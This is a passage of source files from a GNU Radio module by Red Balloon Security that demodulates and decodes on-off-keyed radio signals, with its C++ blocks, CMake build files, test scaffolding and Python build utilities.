copy of the GNU General Public License 16 | * along with this software; see the file COPYING. If not, write to 17 | * the Free Software Foundation, Inc., 51 Franklin Street, 18 | * Boston, MA 02110-1301, USA. 19 | */ 20 | 21 | 22 | #ifndef INCLUDED_FUNTENNA_OOK_DEMOD_FUNTENNA_DEMOD_H 23 | #define INCLUDED_FUNTENNA_OOK_DEMOD_FUNTENNA_DEMOD_H 24 | 25 | #include 26 | #include 27 | 28 | namespace gr { 29 | namespace funtenna_ook_demod { 30 | 31 | /*! 32 | * \brief <+description of block+> 33 | * \ingroup funtenna_ook_demod 34 | * 35 | */ 36 | class FUNTENNA_OOK_DEMOD_API funtenna_demod : virtual public gr::block 37 | { 38 | public: 39 | typedef boost::shared_ptr sptr; 40 | 41 | /*! 42 | * \brief Return a shared_ptr to a new instance of funtenna_ook_demod::funtenna_demod. 43 | * 44 | * To avoid accidental use of raw pointers, funtenna_ook_demod::funtenna_demod's 45 | * constructor is in a private implementation 46 | * class. funtenna_ook_demod::funtenna_demod::make is the public interface for 47 | * creating new instances. 48 | */ 49 | static sptr make(int samp_thresh); 50 | 51 | virtual int samp_thresh() const = 0; 52 | 53 | virtual void set_thresh(int samp_thresh) = 0; 54 | }; 55 | 56 | } // namespace funtenna_ook_demod 57 | } // namespace gr 58 | 59 | #endif /* INCLUDED_FUNTENNA_OOK_DEMOD_FUNTENNA_DEMOD_H */ 60 | 61 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/lib/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Copyright 2011,2012 Free Software Foundation, Inc. 2 | # 3 | # This file is part of GNU Radio 4 | # 5 | # GNU Radio is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 3, or (at your option) 8 | # any later version. 9 | # 10 | # GNU Radio is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with GNU Radio; see the file COPYING. If not, write to 17 | # the Free Software Foundation, Inc., 51 Franklin Street, 18 | # Boston, MA 02110-1301, USA. 19 | 20 | ######################################################################## 21 | # Setup library 22 | ######################################################################## 23 | include(GrPlatform) #define LIB_SUFFIX 24 | 25 | include_directories(${Boost_INCLUDE_DIR}) 26 | link_directories(${Boost_LIBRARY_DIRS}) 27 | 28 | list(APPEND funtenna_ook_demod_sources 29 | funtenna_demod_impl.cc 30 | funtenna_decode_impl.cc 31 | ) 32 | 33 | set(funtenna_ook_demod_sources "${funtenna_ook_demod_sources}" PARENT_SCOPE) 34 | if(NOT funtenna_ook_demod_sources) 35 | MESSAGE(STATUS "No C++ sources... skipping lib/") 36 | return() 37 | endif(NOT funtenna_ook_demod_sources) 38 | 39 | add_library(gnuradio-funtenna_ook_demod SHARED ${funtenna_ook_demod_sources}) 40 | target_link_libraries(gnuradio-funtenna_ook_demod ${Boost_LIBRARIES} ${GNURADIO_ALL_LIBRARIES}) 41 | set_target_properties(gnuradio-funtenna_ook_demod PROPERTIES DEFINE_SYMBOL "gnuradio_funtenna_ook_demod_EXPORTS") 42 | 43 | if(APPLE) 44 | set_target_properties(gnuradio-funtenna_ook_demod PROPERTIES 45 | INSTALL_NAME_DIR "${CMAKE_INSTALL_PREFIX}/lib" 46 | ) 47 | endif(APPLE) 48 | 49 | ######################################################################## 50 | # Install built library files 51 | ######################################################################## 52 | install(TARGETS gnuradio-funtenna_ook_demod 53 | LIBRARY DESTINATION lib${LIB_SUFFIX} # .so/.dylib file 54 | ARCHIVE DESTINATION lib${LIB_SUFFIX} # .lib file 55 | RUNTIME DESTINATION bin # .dll file 56 | ) 57 | 58 | ######################################################################## 59 | # Build and register unit test 60 | ######################################################################## 61 | include(GrTest) 62 | 63 | include_directories(${CPPUNIT_INCLUDE_DIRS}) 64 | 65 | list(APPEND test_funtenna_ook_demod_sources 66 | ${CMAKE_CURRENT_SOURCE_DIR}/test_funtenna_ook_demod.cc 67 | ${CMAKE_CURRENT_SOURCE_DIR}/qa_funtenna_ook_demod.cc 68 | ) 69 | 70 | add_executable(test-funtenna_ook_demod ${test_funtenna_ook_demod_sources}) 71 | 72 | target_link_libraries( 73 | test-funtenna_ook_demod 74 | ${GNURADIO_RUNTIME_LIBRARIES} 75 | ${Boost_LIBRARIES} 76 | ${CPPUNIT_LIBRARIES} 77 | gnuradio-funtenna_ook_demod 78 | ) 79 | 80 | GR_ADD_TEST(test_funtenna_ook_demod test-funtenna_ook_demod) 81 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/lib/funtenna_decode_impl.cc: -------------------------------------------------------------------------------- 1 | /* -*- c++ -*- */ 2 | /* 3 | * Copyright 2015 Red Balloon Security, Inc. 4 | * 5 | * This is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 3, or (at your option) 8 | * any later version. 9 | * 10 | * This software is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this software; see the file COPYING. If not, write to 17 | * the Free Software Foundation, Inc., 51 Franklin Street, 18 | * Boston, MA 02110-1301, USA. 19 | */ 20 | 21 | #ifdef HAVE_CONFIG_H 22 | #include "config.h" 23 | #endif 24 | 25 | #include 26 | #include 27 | #include "funtenna_decode_impl.h" 28 | 29 | namespace gr { 30 | namespace funtenna_ook_demod { 31 | 32 | funtenna_decode::sptr 33 | funtenna_decode::make(const std::vector &preamble) 34 | { 35 | return gnuradio::get_initial_sptr 36 | (new funtenna_decode_impl(preamble)); 37 | } 38 | 39 | /* 40 | * The private constructor 41 | */ 42 | funtenna_decode_impl::funtenna_decode_impl(const std::vector &preamble) 43 | : gr::block("funtenna_decode", 44 | gr::io_signature::make(1, 1, sizeof(unsigned char)), 45 | gr::io_signature::make(1, 1, sizeof(unsigned char))) 46 | { 47 | d_preamble = preamble; 48 | sync = false; 49 | sync_idx = 0; 50 | sym_idx = 0; 51 | } 52 | 53 | /* 54 | * Our virtual destructor. 55 | */ 56 | funtenna_decode_impl::~funtenna_decode_impl() 57 | { 58 | } 59 | 60 | /* 61 | * Add me to header file 62 | */ 63 | void 64 | funtenna_decode_impl::preamble_sync (unsigned char bit) 65 | { 66 | int bitval; 67 | bitval = (int)bit; 68 | 69 | if (sync_idx < d_preamble.size()-1) { 70 | if (bitval == d_preamble[sync_idx]) { 71 | sync_idx++; 72 | } else if (bitval == d_preamble[0]) { 73 | sync_idx = 1; 74 | } else { 75 | sync_idx = 0; 76 | } 77 | std::cout << "\tsync_idx: " << sync_idx << "\r\n"; 78 | } else { 79 | sync_idx = 0; 80 | sync = true; 81 | cur_sym = 0; 82 | std::cout << "\nSync!\n@"; 83 | } 84 | 85 | } 86 | 87 | bool 88 | funtenna_decode_impl::decode_byte (unsigned char bit) 89 | { 90 | bool ret_val = false; 91 | cur_sym |= bit << (4-sym_idx++); 92 | 93 | if (sym_idx == 5) { 94 | sym_idx = 0; 95 | ret_val = true; 96 | cur_sym +=64; 97 | } 98 | 99 | return ret_val; 100 | } 101 | 102 | void 103 | funtenna_decode_impl::forecast (int noutput_items, gr_vector_int &ninput_items_required) 104 | { 105 | ninput_items_required[0] = noutput_items; 106 | } 107 | 108 | int 109 | funtenna_decode_impl::general_work (int noutput_items, 110 | gr_vector_int &ninput_items, 111 | gr_vector_const_void_star &input_items, 112 | gr_vector_void_star &output_items) 113 | { 114 | const unsigned char *in = (const unsigned char *) input_items[0]; 115 | unsigned char *out = (unsigned char *) output_items[0]; 116 | int n; 117 | 118 | for (int i = 0; i < noutput_items; i++) { 119 | n = 0; 120 | std::cout << std::flush; 121 | if (!sync) { 122 | // look for preamble default=0xaaaa 123 | preamble_sync(in[i]); 124 | } else { 125 | if (in[i] == 1) { 126 | std::cout << "1"; 127 | } else if (in[i] == 0) { 128 | std::cout << "0"; 129 | } 130 | 131 | //decode packet until 0xffff, discard 0's at end of word 132 | if (decode_byte(in[i]) == true) { 133 | //symbol ready 134 | if (cur_sym != 0x5f) { 135 | out[0] = cur_sym; 136 | n = 1; 137 | std::cout << "\n"; 138 | std::cout << "$" << cur_sym << "\n@"; 139 | } else { 140 | std::cout << "\nUnsync!\n"; 141 | sync = false; 142 | } 143 | cur_sym = 0; 144 | } 145 | } 146 | } 147 | 148 | // Tell runtime system how many input items we consumed on 149 | // each input stream. 150 | consume_each (noutput_items); 151 | 152 | // Tell runtime system how many output items we produced. 153 | return n; 154 | } 155 | 156 | } /* namespace funtenna_ook_demod */ 157 | } /* namespace gr */ 158 | 159 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/lib/funtenna_decode_impl.h: -------------------------------------------------------------------------------- 1 | /* -*- c++ -*- */ 2 | /* 3 | * Copyright 2015 Red Balloon Security, Inc. 4 | * 5 | * This is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 3, or (at your option) 8 | * any later version. 9 | * 10 | * This software is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this software; see the file COPYING. If not, write to 17 | * the Free Software Foundation, Inc., 51 Franklin Street, 18 | * Boston, MA 02110-1301, USA. 19 | */ 20 | 21 | #ifndef INCLUDED_FUNTENNA_OOK_DEMOD_FUNTENNA_DECODE_IMPL_H 22 | #define INCLUDED_FUNTENNA_OOK_DEMOD_FUNTENNA_DECODE_IMPL_H 23 | 24 | #include 25 | 26 | namespace gr { 27 | namespace funtenna_ook_demod { 28 | 29 | class funtenna_decode_impl : public funtenna_decode 30 | { 31 | private: 32 | std::vector d_preamble; 33 | bool sync; 34 | std::vector::size_type sync_idx; 35 | 36 | int bit_count; 37 | int sym_idx; 38 | unsigned char cur_sym; 39 | 40 | public: 41 | funtenna_decode_impl(const std::vector &preamble); 42 | ~funtenna_decode_impl(); 43 | 44 | void forecast (int noutput_items, gr_vector_int &ninput_items_required); 45 | 46 | // Where all the action really happens 47 | int general_work(int noutput_items, 48 | gr_vector_int &ninput_items, 49 | gr_vector_const_void_star &input_items, 50 | gr_vector_void_star &output_items); 51 | 52 | void preamble_sync(unsigned char bit); 53 | bool decode_byte(unsigned char bit); 54 | 55 | }; 56 | 57 | } // namespace funtenna_ook_demod 58 | } // namespace gr 59 | 60 | #endif /* INCLUDED_FUNTENNA_OOK_DEMOD_FUNTENNA_DECODE_IMPL_H */ 61 | 62 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/lib/funtenna_demod_impl.cc: -------------------------------------------------------------------------------- 1 | /* -*- c++ -*- */ 2 | /* 3 | * Copyright 2015 Red Balloon Security, Inc. 4 | * 5 | * This is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 3, or (at your option) 8 | * any later version. 9 | * 10 | * This software is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this software; see the file COPYING. If not, write to 17 | * the Free Software Foundation, Inc., 51 Franklin Street, 18 | * Boston, MA 02110-1301, USA. 19 | */ 20 | 21 | #ifdef HAVE_CONFIG_H 22 | #include "config.h" 23 | #endif 24 | 25 | #include 26 | #include "funtenna_demod_impl.h" 27 | 28 | namespace gr { 29 | namespace funtenna_ook_demod { 30 | 31 | funtenna_demod::sptr 32 | funtenna_demod::make(int samp_thresh) 33 | { 34 | return gnuradio::get_initial_sptr 35 | (new funtenna_demod_impl(samp_thresh)); 36 | } 37 | 38 | /* 39 | * The private constructor 40 | */ 41 | funtenna_demod_impl::funtenna_demod_impl(int samp_thresh) 42 | : gr::block("funtenna_demod", 43 | gr::io_signature::make(1, 1, sizeof(float)), 44 | gr::io_signature::make(1, 1, sizeof(unsigned char))) 45 | { 46 | set_thresh(samp_thresh); 47 | 48 | bitval = 0; 49 | sample_count = 0; 50 | } 51 | 52 | /* 53 | * Our virtual destructor. 54 | */ 55 | funtenna_demod_impl::~funtenna_demod_impl() 56 | { 57 | } 58 | 59 | void 60 | funtenna_demod_impl::forecast (int noutput_items, gr_vector_int &ninput_items_required) 61 | { 62 | ninput_items_required[0] = noutput_items; 63 | } 64 | 65 | void 66 | funtenna_demod_impl::set_thresh (int samp_thresh) 67 | { 68 | d_samp_thresh = samp_thresh; 69 | } 70 | 71 | int 72 | funtenna_demod_impl::general_work (int noutput_items, 73 | gr_vector_int &ninput_items, 74 | gr_vector_const_void_star &input_items, 75 | gr_vector_void_star &output_items) 76 | { 77 | const float *in = (const float *) input_items[0]; 78 | unsigned char *out = (unsigned char *) output_items[0]; 79 | int n = 0; 80 | 81 | for (int i = 0; i < noutput_items; i++) { 82 | unsigned char this_bitval = (in[i] > 0.1) ? 1: 0; 83 | if (this_bitval != bitval) { 84 | // edge detect 85 | if (this_bitval == 1){ 86 | // rising edge, wait to count sample_length 87 | } else { 88 | // falling edge, end of symbol...what was it??? 89 | if (sample_count < d_samp_thresh) { 90 | // symbol was a zero 91 | out[n++] = 0; 92 | } else { 93 | // symbol was a one 94 | out[n++] = 1; 95 | } 96 | n = 1; 97 | } 98 | sample_count = 0; 99 | bitval = this_bitval; 100 | } 101 | sample_count++; 102 | } 103 | // Tell runtime system how many input items we consumed on 104 | // each input stream. 105 | consume_each (noutput_items); 106 | // Tell runtime system how many output items we produced. 107 | return n; 108 | } 109 | 110 | } /* namespace funtenna_ook_demod */ 111 | } /* namespace gr */ 112 | 113 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/lib/funtenna_demod_impl.h: -------------------------------------------------------------------------------- 1 | /* -*- c++ -*- */ 2 | /* 3 | * Copyright 2015 Red Balloon Security, Inc. 4 | * 5 | * This is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 3, or (at your option) 8 | * any later version. 9 | * 10 | * This software is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this software; see the file COPYING. If not, write to 17 | * the Free Software Foundation, Inc., 51 Franklin Street, 18 | * Boston, MA 02110-1301, USA. 19 | */ 20 | 21 | #ifndef INCLUDED_FUNTENNA_OOK_DEMOD_FUNTENNA_DEMOD_IMPL_H 22 | #define INCLUDED_FUNTENNA_OOK_DEMOD_FUNTENNA_DEMOD_IMPL_H 23 | 24 | #include 25 | 26 | namespace gr { 27 | namespace funtenna_ook_demod { 28 | 29 | class funtenna_demod_impl : public funtenna_demod 30 | { 31 | private: 32 | unsigned int bitval; 33 | int sample_count; 34 | //demod_state_t state; 35 | int d_samp_thresh; 36 | // Nothing to declare in this block. 37 | 38 | public: 39 | funtenna_demod_impl(int samp_thresh); 40 | ~funtenna_demod_impl(); 41 | 42 | // Where all the action really happens 43 | void forecast (int noutput_items, gr_vector_int &ninput_items_required); 44 | 45 | int general_work(int noutput_items, 46 | gr_vector_int &ninput_items, 47 | gr_vector_const_void_star &input_items, 48 | gr_vector_void_star &output_items); 49 | 50 | int samp_thresh() const { return d_samp_thresh;} 51 | void set_thresh(int samp_thresh); 52 | }; 53 | 54 | } // namespace funtenna_ook_demod 55 | } // namespace gr 56 | 57 | #endif /* INCLUDED_FUNTENNA_OOK_DEMOD_funtenna_DEMOD_IMPL_H */ 58 | 59 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/lib/qa_funtenna_ook_demod.cc: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2012 Free Software Foundation, Inc. 3 | * 4 | * This file is part of GNU Radio 5 | * 6 | * GNU Radio is free software; you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation; either version 3, or (at your option) 9 | * any later version. 10 | * 11 | * GNU Radio is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with GNU Radio; see the file COPYING. If not, write to 18 | * the Free Software Foundation, Inc., 51 Franklin Street, 19 | * Boston, MA 02110-1301, USA. 20 | */ 21 | 22 | /* 23 | * This class gathers together all the test cases for the gr-filter 24 | * directory into a single test suite. As you create new test cases, 25 | * add them here. 26 | */ 27 | 28 | #include "qa_funtenna_ook_demod.h" 29 | 30 | CppUnit::TestSuite * 31 | qa_funtenna_ook_demod::suite() 32 | { 33 | CppUnit::TestSuite *s = new CppUnit::TestSuite("funtenna_ook_demod"); 34 | 35 | return s; 36 | } 37 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/lib/qa_funtenna_ook_demod.h: -------------------------------------------------------------------------------- 1 | /* -*- c++ -*- */ 2 | /* 3 | * Copyright 2012 Free Software Foundation, Inc. 4 | * 5 | * This file is part of GNU Radio 6 | * 7 | * GNU Radio is free software; you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation; either version 3, or (at your option) 10 | * any later version. 11 | * 12 | * GNU Radio is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | * 17 | * You should have received a copy of the GNU General Public License 18 | * along with GNU Radio; see the file COPYING. If not, write to 19 | * the Free Software Foundation, Inc., 51 Franklin Street, 20 | * Boston, MA 02110-1301, USA. 21 | */ 22 | 23 | #ifndef _QA_FUNTENNA_OOK_DEMOD_H_ 24 | #define _QA_FUNTENNA_OOK_DEMOD_H_ 25 | 26 | #include 27 | #include 28 | 29 | //! collect all the tests for the gr-filter directory 30 | 31 | class __GR_ATTR_EXPORT qa_funtenna_ook_demod 32 | { 33 | public: 34 | //! return suite of tests for all of gr-filter directory 35 | static CppUnit::TestSuite *suite(); 36 | }; 37 | 38 | #endif /* _QA_FUNTENNA_OOK_DEMOD_H_ */ 39 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/lib/test_funtenna_ook_demod.cc: -------------------------------------------------------------------------------- 1 | /* -*- c++ -*- */ 2 | /* 3 | * Copyright 2012 Free Software Foundation, Inc. 4 | * 5 | * This file is part of GNU Radio 6 | * 7 | * GNU Radio is free software; you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation; either version 3, or (at your option) 10 | * any later version. 11 | * 12 | * GNU Radio is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | * 17 | * You should have received a copy of the GNU General Public License 18 | * along with GNU Radio; see the file COPYING. If not, write to 19 | * the Free Software Foundation, Inc., 51 Franklin Street, 20 | * Boston, MA 02110-1301, USA. 21 | */ 22 | 23 | #ifdef HAVE_CONFIG_H 24 | #include "config.h" 25 | #endif 26 | 27 | #include 28 | #include 29 | 30 | #include 31 | #include "qa_funtenna_ook_demod.h" 32 | #include 33 | #include 34 | 35 | int 36 | main (int argc, char **argv) 37 | { 38 | CppUnit::TextTestRunner runner; 39 | std::ofstream xmlfile(get_unittest_path("funtenna_ook_demod.xml").c_str()); 40 | CppUnit::XmlOutputter *xmlout = new CppUnit::XmlOutputter(&runner.result(), xmlfile); 41 | 42 | runner.addTest(qa_funtenna_ook_demod::suite()); 43 | runner.setOutputter(xmlout); 44 | 45 | bool was_successful = runner.run("", false); 46 | 47 | return was_successful ? 0 : 1; 48 | } 49 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/python/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Copyright 2011 Free Software Foundation, Inc. 2 | # 3 | # This file is part of GNU Radio 4 | # 5 | # GNU Radio is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 3, or (at your option) 8 | # any later version. 9 | # 10 | # GNU Radio is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with GNU Radio; see the file COPYING. If not, write to 17 | # the Free Software Foundation, Inc., 51 Franklin Street, 18 | # Boston, MA 02110-1301, USA. 19 | 20 | ######################################################################## 21 | # Include python install macros 22 | ######################################################################## 23 | include(GrPython) 24 | if(NOT PYTHONINTERP_FOUND) 25 | return() 26 | endif() 27 | 28 | ######################################################################## 29 | # Install python sources 30 | ######################################################################## 31 | GR_PYTHON_INSTALL( 32 | FILES 33 | __init__.py 34 | DESTINATION ${GR_PYTHON_DIR}/funtenna_ook_demod 35 | ) 36 | 37 | ######################################################################## 38 | # Handle the unit tests 39 | ######################################################################## 40 | include(GrTest) 41 | 42 | set(GR_TEST_TARGET_DEPS gnuradio-funtenna_ook_demod) 43 | set(GR_TEST_PYTHON_DIRS ${CMAKE_BINARY_DIR}/swig) 44 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/python/__init__.py: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright 2008,2009 Free Software Foundation, Inc. 3 | # 4 | # This application is free software; you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation; either version 3, or (at your option) 7 | # any later version. 8 | # 9 | # This application is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License along 15 | # with this program; if not, write to the Free Software Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 17 | # 18 | 19 | # The presence of this file turns this directory into a Python package 20 | 21 | ''' 22 | This is the GNU Radio FUNTENNA_OOK_DEMOD module. Place your Python package 23 | description here (python/__init__.py). 24 | ''' 25 | 26 | # import swig generated symbols into the funtenna_ook_demod namespace 27 | try: 28 | # this might fail if the module is python-only 29 | from funtenna_ook_demod_swig import * 30 | except ImportError: 31 | pass 32 | 33 | # import any pure python here 34 | # 35 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/python/build_utils.py: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright 2004,2009,2012 Free Software Foundation, Inc. 3 | # 4 | # This file is part of GNU Radio 5 | # 6 | # GNU Radio is free software; you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation; either version 3, or (at your option) 9 | # any later version. 10 | # 11 | # GNU Radio is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with GNU Radio; see the file COPYING. If not, write to 18 | # the Free Software Foundation, Inc., 51 Franklin Street, 19 | # Boston, MA 02110-1301, USA. 20 | # 21 | 22 | """Misc utilities used at build time 23 | """ 24 | 25 | import re, os, os.path 26 | from build_utils_codes import * 27 | 28 | 29 | # set srcdir to the directory that contains Makefile.am 30 | try: 31 | srcdir = os.environ['srcdir'] 32 | except KeyError, e: 33 | srcdir = "." 34 | srcdir = srcdir + '/' 35 | 36 | # set do_makefile to either true or false dependeing on the environment 37 | try: 38 | if os.environ['do_makefile'] == '0': 39 | do_makefile = False 40 | else: 41 | do_makefile = True 42 | except KeyError, e: 43 | do_makefile = False 44 | 45 | # set do_sources to either true or false dependeing on the environment 46 | try: 47 | if os.environ['do_sources'] == '0': 48 | do_sources = False 49 | else: 50 | do_sources = True 51 | except KeyError, e: 52 | do_sources = True 53 | 54 | name_dict = {} 55 | 56 | def log_output_name (name): 57 | (base, ext) = os.path.splitext (name) 58 | ext = ext[1:] # drop the leading '.' 59 | 60 | entry = name_dict.setdefault (ext, []) 61 | entry.append (name) 62 | 63 | def open_and_log_name (name, dir): 64 | global do_sources 65 | if do_sources: 66 | f = open (name, dir) 67 | else: 68 | f = None 69 | log_output_name (name) 70 | return f 71 | 72 | def expand_template (d, template_filename, extra = ""): 73 | '''Given a dictionary D and a TEMPLATE_FILENAME, expand template into output file 74 | ''' 75 | global do_sources 76 | output_extension = extract_extension (template_filename) 77 | template = open_src (template_filename, 'r') 78 | output_name = d['NAME'] + extra + '.' + output_extension 79 | log_output_name (output_name) 80 | if do_sources: 81 | output = open (output_name, 'w') 82 | do_substitution (d, template, output) 83 | output.close () 84 | template.close () 85 | 86 | def output_glue (dirname): 87 | output_makefile_fragment () 88 | output_ifile_include (dirname) 89 | 90 | def output_makefile_fragment (): 91 | global do_makefile 92 | if not do_makefile: 93 | return 94 | # overwrite the source, which must be writable; this should have been 95 | # checked for beforehand in the top-level Makefile.gen.gen . 96 | f = open (os.path.join (os.environ.get('gendir', os.environ.get('srcdir', '.')), 'Makefile.gen'), 'w') 97 | f.write ('#\n# This file is machine generated. All edits will be overwritten\n#\n') 98 | output_subfrag (f, 'h') 99 | output_subfrag (f, 'i') 100 | output_subfrag (f, 'cc') 101 | f.close () 102 | 103 | def output_ifile_include (dirname): 104 | global do_sources 105 | if do_sources: 106 | f = open ('%s_generated.i' % (dirname,), 'w') 107 | f.write ('//\n// This file is machine generated. All edits will be overwritten\n//\n') 108 | files = name_dict.setdefault ('i', []) 109 | files.sort () 110 | f.write ('%{\n') 111 | for file in files: 112 | f.write ('#include <%s>\n' % (file[0:-1] + 'h',)) 113 | f.write ('%}\n\n') 114 | for file in files: 115 | f.write ('%%include <%s>\n' % (file,)) 116 | 117 | def output_subfrag (f, ext): 118 | files = name_dict.setdefault (ext, []) 119 | files.sort () 120 | f.write ("GENERATED_%s =" % (ext.upper ())) 121 | for file in files: 122 | f.write (" \\\n\t%s" % (file,)) 123 | f.write ("\n\n") 124 | 125 | def extract_extension (template_name): 126 | # template name is something like: GrFIRfilterXXX.h.t 127 | # we return everything between the penultimate . and .t 128 | mo = re.search (r'\.([a-z]+)\.t$', template_name) 129 | if not mo: 130 | raise ValueError, "Incorrectly formed template_name '%s'" % (template_name,) 131 | return mo.group (1) 132 | 133 | def open_src (name, mode): 134 | global srcdir 135 | return open (os.path.join (srcdir, name), mode) 136 | 137 | def do_substitution (d, in_file, out_file): 138 | def repl (match_obj): 139 | key = match_obj.group (1) 140 | # print key 141 | return d[key] 142 | 143 | inp = in_file.read () 144 | out = re.sub (r"@([a-zA-Z0-9_]+)@", repl, inp) 145 | out_file.write (out) 146 | 147 | 148 | 149 | copyright = '''/* -*- c++ -*- */ 150 | /* 151 | * Copyright 2003,2004 Free Software Foundation, Inc. 152 | * 153 | * This file is part of GNU Radio 154 | * 155 | * GNU Radio is free software; you can redistribute it and/or modify 156 | * it under the terms of the GNU General Public License as published by 157 | * the Free Software Foundation; either version 3, or (at your option) 158 | * any later version. 159 | * 160 | * GNU Radio is distributed in the hope that it will be useful, 161 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 162 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 163 | * GNU General Public License for more details. 164 | * 165 | * You should have received a copy of the GNU General Public License 166 | * along with GNU Radio; see the file COPYING. If not, write to 167 | * the Free Software Foundation, Inc., 51 Franklin Street, 168 | * Boston, MA 02110-1301, USA. 169 | */ 170 | ''' 171 | 172 | def is_complex (code3): 173 | if i_code (code3) == 'c' or o_code (code3) == 'c': 174 | return '1' 175 | else: 176 | return '0' 177 | 178 | 179 | def standard_dict (name, code3, package='gr'): 180 | d = {} 181 | d['NAME'] = name 182 | d['NAME_IMPL'] = name+'_impl' 183 | d['GUARD_NAME'] = 'INCLUDED_%s_%s_H' % (package.upper(), name.upper()) 184 | d['GUARD_NAME_IMPL'] = 'INCLUDED_%s_%s_IMPL_H' % (package.upper(), name.upper()) 185 | d['BASE_NAME'] = re.sub ('^' + package + '_', '', name) 186 | d['SPTR_NAME'] = '%s_sptr' % name 187 | d['WARNING'] = 'WARNING: this file is machine generated. Edits will be overwritten' 188 | d['COPYRIGHT'] = copyright 189 | d['TYPE'] = i_type (code3) 190 | d['I_TYPE'] = i_type (code3) 191 | d['O_TYPE'] = o_type (code3) 192 | d['TAP_TYPE'] = tap_type (code3) 193 | d['IS_COMPLEX'] = is_complex (code3) 194 | return d 195 | 196 | 197 | def standard_dict2 (name, code3, package): 198 | d = {} 199 | d['NAME'] = name 200 | d['BASE_NAME'] = name 201 | d['GUARD_NAME'] = 'INCLUDED_%s_%s_H' % (package.upper(), name.upper()) 202 | d['WARNING'] = 'WARNING: this file is machine generated. Edits will be overwritten' 203 | d['COPYRIGHT'] = copyright 204 | d['TYPE'] = i_type (code3) 205 | d['I_TYPE'] = i_type (code3) 206 | d['O_TYPE'] = o_type (code3) 207 | d['TAP_TYPE'] = tap_type (code3) 208 | d['IS_COMPLEX'] = is_complex (code3) 209 | return d 210 | 211 | def standard_impl_dict2 (name, code3, package): 212 | d = {} 213 | 